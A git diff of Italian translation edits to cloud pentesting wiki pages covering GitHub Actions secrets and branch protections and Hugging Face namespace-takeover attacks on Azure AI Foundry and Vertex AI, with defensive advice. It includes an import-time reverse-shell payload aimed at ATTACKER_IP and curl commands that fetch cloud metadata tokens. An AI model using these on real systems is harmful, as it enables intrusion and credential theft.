+Le Github Action solitamente necessitano di una sorta di secrets per interagire con github o applicazioni di terze parti. Per **evitare di inserirli in chiaro** nel repo, github permette di salvarli come **Secrets**.
 
-Questi secrets possono essere configurati **per il repo o per l'intera organizzazione**. Poi, affinché l'**Action possa accedere al secret** è necessario dichiararlo così:
+Questi secrets possono essere configurati **per il repo o per tutta l'organization**. Poi, affinché l'**Action possa accedere al secret** devi dichiararlo così:
 ```yaml
 steps:
 - name: Hello world action
@@ -159,7 +159,7 @@ super_secret:${{ secrets.SuperSecret }}
 env: # Or as an environment variable
 super_secret:${{ secrets.SuperSecret }}
 ```
-#### Esempio usando Bash 
+#### Esempio con Bash 
 ```yaml
 steps:
 - shell: bash
@@ -168,90 +168,90 @@ run: |
 example-command "$SUPER_SECRET"
 ```
 > [!WARNING]
-> Secrets **sono accessibili solo dalle Github Actions** che li hanno dichiarati.
->
-> Una volta configurati nel repo o nell'organizzazione **gli utenti di github non potranno più accedervi**, potranno solamente **modificarli**.
+> Secrets **possono essere accessibili solo dalle Github Actions** in cui sono dichiarati.
 
-Pertanto, l'**unico modo per rubare i github secrets è riuscire ad accedere alla macchina che sta eseguendo la Github Action** (in quello scenario potrai accedere solo ai secrets dichiarati per l'Action).
+> Una volta configurati nel repo o nell'organizzazione, **gli utenti di github non potranno più accedervi**, potranno solo **modificarli**.
 
-### Ambienti Git
+Pertanto, **l'unico modo per rubare i github secrets è riuscire ad accedere alla macchina che sta eseguendo la Github Action** (in quello scenario potrai accedere solo ai secrets dichiarati per l'Action).
 
-Github permette di creare **ambienti** dove puoi salvare **secrets**. Poi, puoi permettere al github action di accedere ai secrets all'interno dell'ambiente con qualcosa del tipo:
+### Git Environments
+
+Github permette di creare **environments** dove puoi salvare **secrets**. Poi, puoi dare al github action accesso ai secrets all'interno dell'environment con qualcosa del tipo:
 ```yaml
 jobs:
 deployment:
 runs-on: ubuntu-latest
 environment: env_name
 ```
-Puoi configurare un environment in modo che sia **accessed** da **all branches** (default), **only protected** branches o **specify** which branches can access it.\
-Inoltre, le protezioni dell'environment includono:
-- **Required reviewers**: bloccare job che targettano l'environment finché non vengono approvati. Abilita **Prevent self-review** per applicare un corretto principio delle quattro occhi sull'approvazione stessa.
-- **Deployment branches and tags**: restringere quali branch/tag possono deployare nell'environment. Preferisci selezionare branch/tag specifici e assicurati che quei branch siano protetti. Nota: l'opzione "Protected branches only" si applica alle protezioni di branch classiche e potrebbe non comportarsi come previsto se si usano rulesets.
-- **Wait timer**: ritardare i deployment per un periodo configurabile.
+You can configure an environment to be **accessed** by **all branches** (default), **only protected** branches or **specify** which branches can access it.\
+Additionally, environment protections include:
+- **Required reviewers**: gate jobs targeting the environment until approved. Enable **Prevent self-review** to enforce a proper four‑eyes principle on the approval itself.
+- **Deployment branches and tags**: restrict which branches/tags may deploy to the environment. Prefer selecting specific branches/tags and ensure those branches are protected. Note: the "Protected branches only" option applies to classic branch protections and may not behave as expected if using rulesets.
+- **Wait timer**: delay deployments for a configurable period.
 
-Può anche impostare un **number of required reviews** prima di **executing** un **action** usando un **environment** o **wait** qualche **time** prima di permettere ai deployment di procedere.
+Può anche impostare un **numero di revisioni richieste** prima di **eseguire** un **action** che usa un **environment** oppure **attendere** del **tempo** prima di permettere che le deployment procedano.
 ### Git Action Runner
 
-A Github Action può essere **executed inside the github environment** oppure può essere eseguita in una **third party infrastructure** configurata dall'utente.
+A Github Action può essere **eseguita all'interno dell'environment di github** oppure può essere eseguita in una **infrastruttura di terze parti** configurata dall'utente.
 
-Diverse organizzazioni permettono di eseguire Github Actions in una **third party infrastructure** perché spesso risulta **cheaper**.
+Diverse organizzazioni permettono di eseguire Github Actions in una **infrastruttura di terze parti** poiché solitamente risulta **più economico**.
 
-Puoi **list the self-hosted runners** di un'organizzazione in _https://github.com/organizations/\/settings/actions/runners_
+Puoi **elencare i self-hosted runners** di un'organizzazione in _https://github.com/organizations/\/settings/actions/runners_
 
-Il modo per trovare quali **Github Actions are being executed in non-github infrastructure** è cercare `runs-on: self-hosted` nella configurazione yaml della Github Action.
+Il modo per trovare quali **Github Actions vengono eseguite in infrastrutture non-github** è cercare `runs-on: self-hosted` nel file di configurazione yaml della Github Action.
 
-Non è **possible to run a Github Action of an organization inside a self hosted box** di un'organizzazione diversa perché **a unique token is generated for the Runner** quando lo si configura per far sapere a quale runner appartiene.
+Non è **possibile eseguire una Github Action di un'organizzazione all'interno di una macchina self hosted** appartenente a una diversa organizzazione perché **un token univoco viene generato per il Runner** durante la sua configurazione per identificarne l'appartenenza.
 
-Se il custom **Github Runner is configured in a machine inside AWS or GCP** per esempio, l'Action **could have access to the metadata endpoint** e **steal the token of the service account** con cui la macchina è eseguita.
+Se il custom **Github Runner è configurato in una macchina dentro AWS o GCP**, per esempio, l'Action **potrebbe avere accesso al metadata endpoint** e **rubare il token dell'account di servizio** con cui la macchina sta girando.
 
 ### Git Action Compromise
 
-Se tutte le action (o una action malevola) sono consentite, un utente potrebbe usare una **Github action** che è **malicious** e che **compromette** il **container** dove viene eseguita.
+Se tutte le action (o una action malevola) sono permesse, un utente potrebbe usare una **Github action** che è **maligna** e che **comprometterà** il **container** in cui viene eseguita.
 
 > [!CAUTION]
-> Una **malicious Github Action** run potrebbe essere **abused** dall'attaccante per:
+> Una **malicious Github Action** eseguita potrebbe essere **abusata** dall'attaccante per:
 >
-> - **Steal all the secrets** a cui l'Action ha accesso
-> - **Move laterally** se l'Action viene eseguita dentro una **third party infrastructure** dove il SA token usato per eseguire la macchina può essere accessibile (probabilmente via il metadata service)
-> - **Abuse the token** usato dal **workflow** per **steal the code of the repo** dove l'Action è eseguita o **even modify it**.
+> - **Rubare tutti i secrets** a cui l'Action ha accesso
+> - **Muoversi lateralmente** se l'Action è eseguita dentro una **infrastruttura di terze parti** dove il token SA usato per far girare la macchina è accessibile (probabilmente tramite il servizio metadata)
+> - **Abusare del token** usato dal **workflow** per **rubare il codice del repo** dove l'Action è eseguita o **addirittura modificarlo**.
 
 ## Branch Protections
 
-Le branch protections sono progettate per **not give complete control of a repository** agli utenti. L'obiettivo è **put several protection methods before being able to write code inside some branch**.
+Le branch protections sono pensate per **non dare il controllo completo su un repository** agli utenti. L'obiettivo è **inserire più metodi di protezione prima di poter scrivere codice su una branch**.
 
-Le **branch protections of a repository** possono essere trovate in _https://github.com/\/\/settings/branches_
+Le **branch protections di un repository** possono essere trovate in _https://github.com/\/\/settings/branches_
 
 > [!NOTE]
-> Non è **possible to set a branch protection at organization level**. Quindi tutte devono essere dichiarate su ogni repo.
+> Non è **possibile impostare una branch protection a livello di organization**. Quindi devono essere dichiarate in ogni repo.
 
-Differenti protezioni possono essere applicate a un branch (ad esempio master):
+Diverse protezioni possono essere applicate a una branch (come master):
 
-- Puoi **require a PR before merging** (quindi non puoi direttamente mergiare codice sul branch). Se questo è selezionato possono essere in vigore altre protezioni:
-- **Require a number of approvals**. È molto comune richiedere 1 o 2 persone in più per approvare la tua PR così un singolo utente non può mergiare codice direttamente.
-- **Dismiss approvals when new commits are pushed**. Se non abilitato, un utente potrebbe approvare codice legittimo e poi aggiungere codice malevolo e mergiarlo.
-- **Require approval of the most recent reviewable push**. Garantisce che qualsiasi nuovo commit dopo un'approvazione (inclusi push da altri collaboratori) riattivi la review in modo che un attaccante non possa pushare cambiamenti post-approvazione e mergiarli.
-- **Require reviews from Code Owners**. Almeno 1 code owner del repo deve approvare la PR (così utenti "random" non possono approvarla)
-- **Restrict who can dismiss pull request reviews.** Puoi specificare persone o team autorizzati a dismissare le review delle pull request.
-- **Allow specified actors to bypass pull request requirements**. Questi utenti saranno in grado di bypassare le restrizioni precedenti.
-- **Require status checks to pass before merging.** Alcuni check devono passare prima di poter mergiare il commit (come un GitHub App che riporta risultati SAST). Suggerimento: vincola i check richiesti a una specifica GitHub App; altrimenti qualsiasi app potrebbe spoofare il check via le Checks API, e molti bot accettano direttive di skip (es., "@bot-name skip").
-- **Require conversation resolution before merging**. Tutti i commenti sul codice devono essere risolti prima che la PR possa essere mergiata.
+- Puoi **richiedere una PR prima del merge** (quindi non puoi unire direttamente codice sulla branch). Se questo è selezionato, altre protezioni possono essere attive:
+- **Require a number of approvals**. È molto comune richiedere 1 o 2 persone in più per approvare la PR in modo che un singolo utente non possa unire codice direttamente.
+- **Dismiss approvals when new commits are pushed**. Altrimenti, un utente potrebbe approvare codice legittimo e poi aggiungere codice malevolo e unirlo.
+- **Require approval of the most recent reviewable push**. Garantisce che qualsiasi nuovo commit dopo un'approvazione (inclusi push di altri collaboratori) riattivi la review così un attaccante non può pushare cambiamenti post-approvazione e fare merge.
+- **Require reviews from Code Owners**. Almeno 1 code owner del repo deve approvare la PR (così utenti "a caso" non possono approvarla).
+- **Restrict who can dismiss pull request reviews.** Puoi specificare persone o team autorizzati a revocare le review delle pull request.
+- **Allow specified actors to bypass pull request requirements**. Questi utenti potranno bypassare le restrizioni precedenti.
+- **Require status checks to pass before merging.** Alcuni check devono passare prima di poter unire il commit (come una GitHub App che riporta risultati SAST). Suggerimento: vincola i check richiesti a una specifica GitHub App; altrimenti qualsiasi app potrebbe falsare il check tramite la Checks API, e molti bot accettano direttive di skip (es., "@bot-name skip").
+- **Require conversation resolution before merging**. Tutti i commenti sul codice devono essere risolti prima che la PR possa essere unita.
 - **Require signed commits**. I commit devono essere firmati.
-- **Require linear history.** Impedisce che merge commits vengano pushati ai branch che corrispondono alla regola.
-- **Include administrators**. Se non impostato, gli admin possono bypassare le restrizioni.
+- **Require linear history.** Evita che merge commits vengano pushati sulle branch corrispondenti.
+- **Include administrators**. Se non è abilitato, gli admin possono bypassare le restrizioni.
 - **Restrict who can push to matching branches**. Restringe chi può inviare una PR.
 
 > [!NOTE]
-> Come puoi vedere, anche se sei riuscito a ottenere alcune credenziali di un utente, **repos might be protected avoiding you to pushing code to master** per esempio per compromettere la CI/CD pipeline.
+> Come puoi vedere, anche se riesci a ottenere delle credenziali di un utente, **i repo potrebbero essere protetti impedendoti di pushare codice su master** per esempio per compromettere la pipeline CI/CD.
 
 ## Tag Protections
 
-I tag (come latest, stable) sono mutabili di default. Per imporre un flusso a quattro occhi sugli aggiornamenti dei tag, proteggi i tag e incatena le protezioni attraverso environment e branch:
+I tag (come latest, stable) sono mutabili di default. Per imporre un flusso four‑eyes sugli aggiornamenti dei tag, proteggi i tag e concatena le protezioni attraverso environment e branch:
 
-1) Sulla rule di protezione del tag, abilita **Require deployments to succeed** e richiedi un deployment riuscito a un environment protetto (es., prod).
-2) Nell'environment target, restringi **Deployment branches and tags** al release branch (es., main) e opzionalmente configura **Required reviewers** con **Prevent self-review**.
-3) Sul release branch, configura le branch protections per **Require a pull request**, imposta approvals ≥ 1, e abilita sia **Dismiss approvals when new commits are pushed** sia **Require approval of the most recent reviewable push**.
+1) Nella regola di protezione del tag, abilita **Require deployments to succeed** e richiedi una deployment di successo verso un environment protetto (es., prod).
+2) Nell'environment target, restringi **Deployment branches and tags** alla release branch (es., main) e opzionalmente configura **Required reviewers** con **Prevent self-review**.
+3) Sulla release branch, configura le branch protections per **Require a pull request**, imposta approvazioni ≥ 1, e abilita sia **Dismiss approvals when new commits are pushed** sia **Require approval of the most recent reviewable push**.
 
-Questa catena impedisce a un singolo collaboratore di retaggare o force-publishare release modificando il workflow YAML, poiché i gate di deployment vengono applicati al di fuori dei workflow.
+Questa catena impedisce a un singolo collaboratore di retaggare o forzare la pubblicazione di release modificando i workflow YAML, poiché le porte di deployment sono applicate al di fuori dei workflow.
 
 ## References
 
diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-azure-ai-foundry-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-azure-ai-foundry-post-exploitation.md
index 0b0959861..75d518013 100644
--- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-azure-ai-foundry-post-exploitation.md
+++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-azure-ai-foundry-post-exploitation.md
@@ -4,15 +4,15 @@
 
 ## Scenario
 
-- Il Model Catalog di Azure AI Foundry include molti modelli Hugging Face (HF) per il deployment con un click.
-- Gli identificatori dei modelli HF sono Author/ModelName. Se un author/org HF viene cancellato, chiunque può re-registrare quell'author e pubblicare un modello con lo stesso ModelName allo stesso legacy path.
-- Pipeline e catalog che risolvono solo per nome (no commit pinning/integrity) risolveranno su repo controllati dall'attaccante. Quando Azure deploya il modello, il loader code può eseguire nell'ambiente dell'endpoint, concedendo RCE con i permessi di quell'endpoint.
+- Azure AI Foundry Model Catalog include molti modelli Hugging Face (HF) per il deployment one-click.
+- Gli identificatori dei modelli HF sono Author/ModelName. Se un autore/org HF viene cancellato, chiunque può registrare nuovamente quell'author e pubblicare un modello con lo stesso ModelName allo stesso percorso legacy.
+- Pipeline e cataloghi che risolvono solo per nome (nessun commit pinning/integrity) risolveranno in repo controllati dall'attaccante. Quando Azure deploya il modello, il codice di loader può essere eseguito nell'ambiente dell'endpoint, concedendo RCE con i permessi di quell'endpoint.
 
 Casi comuni di takeover HF:
 - Ownership deletion: il vecchio path risponde 404 fino al takeover.
-- Ownership transfer: il vecchio path risponde 307 verso il nuovo author mentre il vecchio author esiste. Se il vecchio author viene poi cancellato e re-registrato, il redirect si rompe e il repo dell'attaccante viene servito al legacy path.
+- Ownership transfer: il vecchio path fa 307 al nuovo author mentre il vecchio author esiste. Se il vecchio author viene poi cancellato e ri-registrato, il redirect si rompe e il repo dell'attaccante viene servito al percorso legacy.
 
-## Identifying Reusable Namespaces (HF)
+## Identificare namespace riutilizzabili (HF)
 ```bash
 # Check author/org existence
 curl -I https://huggingface.co/        # 200 exists, 404 deleted/available
@@ -21,14 +21,14 @@ curl -I https://huggingface.co/        # 200 exists, 404 deleted/availab
 curl -I https://huggingface.co//
 # 307 -> redirect (transfer case), 404 -> deleted until takeover
 ```
-## Flusso d'attacco end-to-end contro Azure AI Foundry
+## Flusso di attacco end-to-end contro Azure AI Foundry
 
-1) Nel Model Catalog, trova HF models i cui autori originali sono stati cancellati o trasferiti (autore originale rimosso) su HF.
-2) Re-registrare l'autore abbandonato su HF e ricreare il ModelName.
-3) Pubblica un repo maligno con codice loader che viene eseguito all'import o richiede trust_remote_code=True.
-4) Effettua il deploy del legacy Author/ModelName da Azure AI Foundry. La piattaforma scarica il repo dell'attaccante; il loader viene eseguito all'interno del container/VM dell'endpoint Azure, ottenendo RCE con i permessi dell'endpoint.
+1) Nel Model Catalog, trova modelli HF i cui autori originali sono stati eliminati o trasferiti (vecchio autore rimosso) su HF.
+2) Ri-registrare l'autore abbandonato su HF e ricreare il ModelName.
+3) Pubblica un repo dannoso con loader code che si esegue su import o richiede trust_remote_code=True.
+4) Distribuisci il legacy Author/ModelName da Azure AI Foundry. La piattaforma recupera il repo dell'attaccante; il loader si esegue all'interno del container/VM dell'endpoint Azure, ottenendo RCE con i permessi dell'endpoint.
 
-Esempio di frammento di payload eseguito all'import (solo a scopo dimostrativo):
+Esempio di frammento di payload eseguito su import (solo a scopo dimostrativo):
 ```python
 # __init__.py or a module imported by the model loader
 import os, socket, subprocess, threading
@@ -46,41 +46,41 @@ if os.environ.get("AZUREML_ENDPOINT","1") == "1":
 threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start()
 ```
 Note
-- Le implementazioni di AI Foundry che integrano HF tipicamente clonano e importano moduli del repo referenziati dalla config del modello (es., auto_map), il che può attivare code execution. Alcuni percorsi richiedono trust_remote_code=True.
-- L'accesso di solito corrisponde ai permessi della managed identity/service principal dell'endpoint. Consideralo come un initial access foothold per data access e lateral movement all'interno di Azure.
+- Le distribuzioni di AI Foundry che integrano HF tipicamente clonano e importano moduli del repo referenziati nella config del modello (es., auto_map), il che può innescare l'esecuzione di codice. Alcuni percorsi richiedono trust_remote_code=True.
+- L'accesso di solito corrisponde alle autorizzazioni del managed identity/service principal dell'endpoint. Trattalo come un initial access foothold per data access e lateral movement all'interno di Azure.
 
 ## Post-Exploitation Tips (Azure Endpoint)
 
-- Enumerare variabili d'ambiente e MSI endpoints per tokens:
+- Enumera le variabili d'ambiente e gli endpoint MSI per i token:
 ```bash
 # Azure Instance Metadata Service (inside Azure compute)
 curl -H "Metadata: true" \
 "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
 ```
-- Controlla il mounted storage, i model artifacts e i servizi Azure raggiungibili con il token acquisito.
-- Considera la persistence lasciando poisoned model artifacts se la piattaforma re-pulls da HF.
+- Controlla lo storage montato, gli artefatti dei modelli e i servizi Azure raggiungibili con il token acquisito.
+- Considera persistence lasciando poisoned model artifacts se la piattaforma effettua nuovamente un pull da HF.
 
 ## Indicazioni difensive per gli utenti di Azure AI Foundry
 
-- Fissa i modelli per commit quando li carichi da HF:
+- Blocca i modelli per commit quando li carichi da HF:
 ```python
 from transformers import AutoModel
 m = AutoModel.from_pretrained("Author/ModelName", revision="")
 ```
-- Eseguire il mirror dei modelli HF verificati in un registro interno attendibile e distribuirli da lì.
-- Scansionare continuamente codebase e defaults/docstrings/notebooks alla ricerca di hard-coded Author/ModelName che sono stati eliminati/trasferiti; aggiornare o pin.
-- Verificare l'esistenza dell'author e la provenienza del modello prima della distribuzione.
+- Rispecchiare modelli HF verificati in un registro interno affidabile e distribuirli da lì.
+- Scansionare continuamente codebase e defaults/docstrings/notebooks alla ricerca di Author/ModelName hard-coded che siano cancellati/trasferiti; aggiornare o fissare (pin).
+- Verificare l'esistenza dell'author e la provenienza del modello prima del deployment.
 
-## Euristiche di riconoscimento (HTTP)
+## Criteri di riconoscimento (HTTP)
 
-- Author eliminato: author page 404; legacy model path 404 fino al takeover.
-- Modello trasferito: legacy path 307 verso il nuovo author mentre il vecchio author esiste; se il vecchio author viene poi eliminato e re-registrato, il legacy path serve attacker content.
+- Autore cancellato: pagina author 404; legacy model path 404 fino al takeover.
+- Modello trasferito: legacy path 307 verso un nuovo author mentre il vecchio author esiste; se il vecchio author viene poi cancellato e ri-registrato, il legacy path serve contenuto dell'attaccante.
 ```bash
 curl -I https://huggingface.co// | egrep "^HTTP|^location"
 ```
 ## Riferimenti incrociati
 
-- Vedi la metodologia più ampia e le note sulla catena di approvvigionamento:
+- Vedi metodologia più ampia e note sulla catena di fornitura:
 
 {{#ref}}
 ../../pentesting-cloud-methodology.md
diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md
index 074938914..26113e37f 100644
--- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md
+++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md
@@ -1,23 +1,23 @@
-# GCP - Post-Exploitation di Vertex AI tramite riutilizzo del namespace dei modelli di Hugging Face
+# GCP - Vertex AI Post-Exploitation via Hugging Face Model Namespace Reuse
 
 {{#include ../../../banners/hacktricks-training.md}}
 
 ## Scenario
 
-- Vertex AI Model Garden permette il deploy diretto di molti modelli di Hugging Face (HF).
-- Gli identificatori dei modelli HF sono Author/ModelName. Se un author/org su HF viene eliminato, lo stesso nome author può essere ri-registrato da chiunque. Gli attacker possono quindi creare un repo con lo stesso ModelName sul percorso legacy.
-- Pipelines, SDKs o cataloghi cloud che effettuano il fetch solo per nome (no pinning/integrity) scaricheranno il repo controllato dall'attacker. Quando il modello viene deployato, il loader code di quel repo può essere eseguito all'interno del container dell'endpoint Vertex AI, ottenendo RCE con i permessi dell'endpoint.
+- Vertex AI Model Garden consente il deployment diretto di molti modelli Hugging Face (HF).
+- Gli identificatori dei modelli HF sono Author/ModelName. Se un autore/org su HF viene eliminato, lo stesso nome autore può essere ri-registrato da chiunque. Gli attacker possono allora creare un repo con lo stesso ModelName al percorso legacy.
+- Pipelines, SDKs, o cloud catalogs che effettuano fetch solo per nome (no pinning/integrity) scaricheranno il repo controllato dall'attacker. Quando il model viene deployato, il loader code di quel repo può eseguire all'interno del container dell'endpoint Vertex AI, ottenendo RCE con i permessi dell'endpoint.
 
-Due casi comuni di takeover su HF:
-- Ownership deletion: il vecchio percorso restituisce 404 fino a quando qualcuno ri-registrerà l'author e pubblicherà lo stesso ModelName.
-- Ownership transfer: HF emette 307 redirect dal vecchio Author/ModelName al nuovo author. Se il vecchio author viene poi eliminato e ri-registrato da un attacker, la catena di redirect viene interrotta e il repo dell'attacker viene servito al percorso legacy.
+Two common takeover cases on HF:
+- Ownership deletion: il vecchio path restituisce 404 fino a quando qualcuno non ri-registrerà l'autore e pubblicherà lo stesso ModelName.
+- Ownership transfer: HF emette 307 redirect dal vecchio Author/ModelName al nuovo owner. Se il vecchio autore viene successivamente cancellato e ri-registrato da un attacker, la catena di redirect viene interrotta e il repo dell'attacker risponde al percorso legacy.
 
-## Identificare namespace riutilizzabili (HF)
+## Identifying Reusable Namespaces (HF)
 
-- Autore eliminato: la pagina dell'author restituisce 404; il percorso del modello potrebbe restituire 404 fino al takeover.
-- Modelli trasferiti: il vecchio percorso del modello emette 307 verso il nuovo owner mentre il vecchio author esiste. Se il vecchio author viene poi eliminato e ri-registrato, il percorso legacy risolverà verso il repo dell'attacker.
+- Old author deleted: la pagina dell'autore restituisce 404; il model path può restituire 404 fino al takeover.
+- Transferred models: il vecchio model path emette 307 verso il nuovo owner mentre il vecchio autore esiste. Se il vecchio autore viene successivamente cancellato e ri-registrato, il percorso legacy risolverà verso il repo dell'attacker.
 
-Controlli rapidi con curl:
+Quick checks with curl:
 ```bash
 # Check author/org existence
 curl -I https://huggingface.co/
@@ -32,20 +32,20 @@ curl -I https://huggingface.co//
 
 1) Scoprire namespace di modelli riutilizzabili che Model Garden elenca come deployable:
 - Trovare modelli HF in Vertex AI Model Garden che mostrano ancora “verified deployable”.
-- Verificare su HF se l'autore originale è stato cancellato o se il modello è stato trasferito e il vecchio author è stato rimosso in seguito.
+- Verificare su HF se l'autore originale è stato cancellato o se il modello è stato trasferito e il vecchio autore è stato poi rimosso.
 
-2) Re-registrare l'Author cancellato su HF e ricreare lo stesso ModelName.
+2) Re-registrare l'autore cancellato su HF e ricreare lo stesso ModelName.
 
-3) Pubblicare un repo maligno. Includere codice che venga eseguito al model load. Esempi che vengono comunemente eseguiti durante il caricamento del modello in HF:
+3) Pubblicare un repo malevolo. Includere codice che venga eseguito al load del modello. Esempi che comunemente vengono eseguiti durante il model load su HF:
 - Effetti collaterali in __init__.py del repo
 - Custom modeling_*.py o codice di processing referenziato da config/auto_map
-- Percorsi di codice che richiedono trust_remote_code=True in Transformers pipelines
+- Percorsi di codice che richiedono trust_remote_code=True nelle pipeline Transformers
 
-4) Una deployment di Vertex AI del legacy Author/ModelName ora esegue il pull del repo dell'attaccante. Il loader viene eseguito all'interno del container dell'endpoint di Vertex AI.
+4) Una deployment su Vertex AI del legacy Author/ModelName ora pullerà il repo dell'attaccante. Il loader si esegue all'interno del Vertex AI endpoint container.
 
 5) Il payload stabilisce accesso dall'ambiente dell'endpoint (RCE) con i permessi dell'endpoint.
 
-Esempio di frammento di payload eseguito all'import (solo a scopo dimostrativo):
+Esempio di frammento di payload eseguito su import (solo a scopo dimostrativo):
 ```python
 # Place in __init__.py or a module imported by the model loader
 import os, socket, subprocess, threading
@@ -63,43 +63,43 @@ if os.environ.get("VTX_AI","1") == "1":
 threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start()
 ```
 Note
-- I loader reali variano. Molte integrazioni Vertex AI HF clonano e importano moduli del repo referenziati dalla config del modello (es., auto_map), il che può triggerare esecuzione di codice. Alcuni utilizzi richiedono trust_remote_code=True.
-- L'endpoint tipicamente gira in un container dedicato con ambito limitato, ma rappresenta un valido foothold iniziale per l'accesso ai dati e il movimento laterale in GCP.
+- I loader reali variano. Molte integrazioni Vertex AI HF clonano e importano moduli dal repo referenziati nella config del modello (es., auto_map), che possono innescare l'esecuzione di codice. Alcuni usi richiedono trust_remote_code=True.
+- L'endpoint tipicamente gira in un container dedicato con ambito limitato, ma è un valido punto d'appoggio iniziale per l'accesso ai dati e per movimenti laterali in GCP.
 
 ## Post-Exploitation Tips (Vertex AI Endpoint)
 
-Una volta che il codice è in esecuzione all'interno del container dell'endpoint, considera:
-- Enumerare le variabili d'ambiente e i metadata per credenziali/token
-- Accedere allo storage allegato o agli artefatti del modello montati
-- Interagire con le Google API tramite l'identità dell'account di servizio (Document AI, Storage, Pub/Sub, etc.)
-- Persistenza nell'artefatto del modello se la piattaforma ri-pulla il repo
+Once code is running inside the endpoint container, consider:
+- Enumerare le variabili d'ambiente e i metadati per credenziali/token
+- Accedere allo storage allegato o agli artifact del modello montati
+- Interagire con le Google APIs tramite l'identità del service account (Document AI, Storage, Pub/Sub, etc.)
+- Persistenza nell'artifact del modello se la piattaforma rifà il pull del repo
 
-Enumerare i metadata dell'istanza se accessibili (dipende dal container):
+Enumerare i metadati dell'istanza se accessibili (dipende dal container):
 ```bash
 curl -H "Metadata-Flavor: Google" \
 http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
 ```
 ## Linee guida difensive per gli utenti di Vertex AI
 
-- Bloccare i modelli per commit in HF loaders per prevenire la sostituzione silenziosa:
+- Fissare i modelli per commit negli HF loaders per prevenire la sostituzione silenziosa:
 ```python
 from transformers import AutoModel
 m = AutoModel.from_pretrained("Author/ModelName", revision="")
 ```
-- Rispecchiare i modelli HF verificati in un artifact store/registry interno attendibile e distribuirli da lì.
-- Eseguire scansioni continue di codebase e config per Author/ModelName hard-coded che siano stati cancellati/trasferiti; aggiornare ai nuovi namespace o effettuare pin tramite commit.
-- In Model Garden, verificare la provenienza del modello e l'esistenza dell'author prima del deployment.
+- Replicare i modelli HF verificati in uno store/registry di artifact interno attendibile e distribuirli da lì.
+- Scansionare continuamente codebase e config per Author/ModelName hard-coded che sono stati cancellati/trasferiti; aggiornare ai nuovi namespace o fissare tramite commit.
+- In Model Garden, verificare la provenienza del modello e l'esistenza dell'autore prima del deployment.
 
 ## Euristiche di riconoscimento (HTTP)
 
-- Deleted author: author page 404; legacy model path 404 until takeover.
-- Transferred model: legacy path 307 to new author while old author exists; if old author later deleted and re-registered, legacy path serves attacker content.
+- Autore cancellato: pagina autore 404; percorso legacy del modello 404 fino al subentro.
+- Modello trasferito: percorso legacy 307 verso il nuovo autore mentre il vecchio autore esiste; se il vecchio autore viene poi cancellato e ri-registrato, il percorso legacy può servire contenuti dell'attaccante.
 ```bash
 curl -I https://huggingface.co// | egrep "^HTTP|^location"
 ```
 ## Riferimenti incrociati
 
-- Vedi metodologia più ampia e note sulla catena di fornitura:
+- Vedi la metodologia più ampia e le note sulla supply-chain:
 
 {{#ref}}
 ../../pentesting-cloud-methodology.md
@@ -107,7 +107,7 @@ curl -I https://huggingface.co// | egrep "^HTTP|^location"
 
 ## Riferimenti
 
-- [Model Namespace Reuse: An AI Supply-Chain Attack Exploiting Model Name Trust (Unit 42)](https://unit42.paloaltonetworks.com/model-namespace-reuse/)
-- [Hugging Face: Renaming or transferring a repo](https://huggingface.co/docs/hub/repositories-settings#renaming-or-transferring-a-repo)
+- [Riutilizzo del namespace del modello: un attacco alla supply-chain AI che sfrutta la fiducia nel nome del modello (Unit 42)](https://unit42.paloaltonetworks.com/model-namespace-reuse/)
+- [Hugging Face: Rinominare o trasferire un repo](https://huggingface.co/docs/hub/repositories-settings#renaming-or-transferring-a-repo)
 
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/pentesting-cloud-methodology.md b/src/pentesting-cloud/pentesting-cloud-methodology.md
index 030ed3b41..7f506e28c 100644
--- a/src/pentesting-cloud/pentesting-cloud-methodology.md
+++ b/src/pentesting-cloud/pentesting-cloud-methodology.md
@@ -1,4 +1,4 @@
-# Metodologia di Pentesting Cloud
+# Metodologia Pentesting Cloud
 
 {{#include ../banners/hacktricks-training.md}}
 
@@ -6,39 +6,39 @@
 
 ## Metodologia di base
 
-Ogni cloud ha le sue peculiarità ma in generale ci sono alcune **cose comuni che un pentester dovrebbe verificare** quando testa un ambiente cloud:
+Ogni cloud ha le sue peculiarità ma, in generale, ci sono alcune **cose comuni che un pentester dovrebbe verificare** quando testa un ambiente cloud:
 
-- **Benchmark checks**
-- Questo ti aiuterà a **capire le dimensioni** dell'ambiente e i **servizi utilizzati**
-- Ti permetterà anche di trovare alcune **misconfigurazioni rapide** dato che puoi eseguire la maggior parte di questi test con **tool automatici**
-- **Services Enumeration**
-- Probabilmente non troverai molte altre misconfigurazioni qui se hai eseguito correttamente i test di benchmark, ma potresti trovare alcune che non sono state cercate durante il benchmark.
-- Questo ti permetterà di sapere **cosa viene esattamente usato** nell'ambiente cloud
-- Questo aiuterà molto nei passaggi successivi
-- **Check exposed assets**
-- Questo può essere fatto durante la sezione precedente, devi **scoprire tutto ciò che è potenzialmente esposto** a Internet in qualche modo e come può essere accesso.
-- Qui intendo **infrastruttura esposta manualmente** come istanze con pagine web o altre porte esposte, e anche altri **servizi gestiti cloud che possono essere configurati** per essere esposti (come DBs o buckets)
-- Poi dovresti verificare **se quella risorsa può essere esposta o no** (informazioni confidenziali? vulnerabilità? misconfigurazioni nel servizio esposto?)
-- **Check permissions**
-- Qui dovresti **scoprire tutti i permessi di ogni ruolo/utente** all'interno del cloud e come vengono usati
+- **Controlli di benchmark**
+- Questo ti aiuterà a **capire la dimensione** dell'ambiente e i **servizi utilizzati**
+- Permetterà anche di trovare alcune **misconfigurazioni rapide** poiché puoi eseguire la maggior parte di questi test con **strumenti automatici**
+- **Enumerazione dei servizi**
+- Probabilmente non troverai molte altre misconfigurazioni se hai eseguito correttamente i controlli di benchmark, ma potresti trovare alcune cose che non sono state cercate nei controlli di benchmark.
